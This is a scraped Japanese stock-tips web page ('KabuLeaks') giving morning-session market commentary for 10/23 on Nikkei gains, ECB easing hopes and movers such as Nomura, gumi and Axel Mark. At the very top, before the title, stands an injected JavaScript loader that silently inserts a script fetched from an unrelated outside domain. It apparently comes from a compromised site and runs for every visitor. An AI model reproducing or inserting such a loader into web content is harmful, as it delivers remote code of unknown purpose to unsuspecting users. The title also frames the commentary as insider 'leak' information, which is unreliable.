;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 仕手株・ファンド介入リーク情報【10/23 前引け】|【KabuLeaks 〜株リークス〜】
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仕手株・ファンド介入リーク情報【10/23 前引け】

前場の日経平均は433円高と大幅反発。ECBの追加緩和期待を受けた欧米株高を背景に日経平均も朝方から買い優勢の展開。300円超高からスタートとなるとその後も上げ幅を拡大、一時18886.75円(同450.88円高)まで上昇するとその後は高値圏でのもみ合い。主力を中心に幅広い銘柄が値上がりしほぼ全面高商状となっている。業種別では、33業種中、全ての業種が上昇。証券商品先物、不動産業、食料品、保険業などが値上がり率上位に。

個別では、前日に第2四半期業績速報値を発表、好感された【8732】ネーパートナーズグループ。ドラギ総裁会見を受けてECBの追加金融緩和観測が高まり、株式市場の先高期待を背景に【8604】野村ホールディングスなどが上昇。また、新作ゲームアプリ「FFブレイブエクスヴィアス」配信好感から【3903】gumiが大幅上昇のほか、電通とスマホセンサー活用のネット広告開始と報じられた【3624】アクセルマークがストップ高となっている。

日経平均は買い一巡後高値圏での推移。日経平均は直近のもち合いレンジを明確に上放れ、目先日足での一目均衡表の雲上限を目指す展開か!?来週は日銀会合、追加緩和への思惑も高く下値も堅い状況。今年も例年通りの年末株高期待、中期目線で上昇トレンドに入った可能性も高いと思われる。